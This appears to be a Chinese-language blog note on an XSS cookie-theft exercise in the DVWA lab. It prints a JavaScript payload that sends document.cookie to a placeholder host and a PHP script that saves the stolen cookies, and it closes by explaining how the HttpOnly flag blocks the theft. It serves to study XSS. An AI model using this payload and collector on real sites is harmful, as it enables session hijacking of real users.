xss盗取cookie

cookie概念

cookie是在http协议下,由web服务器保存在用户客户端上的小文本文件,常包含有关用户的信息

盗取cookie关键代码

1
document.location='http://ip/cookie.php?cookie='+document.cookie

cookie.php代码:

1
2
3
4
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

但是……在实操时遇到了点问题

我在WWW根目录下新建了个文件夹cookieCatch,在里面写了一个cookie.php,新建了个cookie.txt放弹回来的cookie。

image-20230413002445978

然而,我在url上添加这串payload并回车时,什么事也没有发生……(在dvwa靶场进行测试,已确定安全等级为low,没做过滤)

image-20230413002850368

在文本框输入这串payload时,确实重定向到我写的php页面了。

image-20230413003053541

但是打开cookie.txt只看到这些。。。。

image-20230413003200916

啊?

我觉得可能是浏览器的问题。打开控制台输入如下命令:

1
javascript:alert(document.cookie)

image-20230413003429193

image-20230413003513851

以上使用的是edge浏览器,我又换成了谷歌浏览器,结果还是同样的结果。。。

查看cookie 确认是有东西的

image-20230413003737707

搞不明白了。。。

搞明白了

因为服务器端在setCookie时添加了httpOnly属性(设置为true)

httpOnly: 如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容

因此设置了httpOnly属性后,js脚本是不能读取cookie的。

问题解决。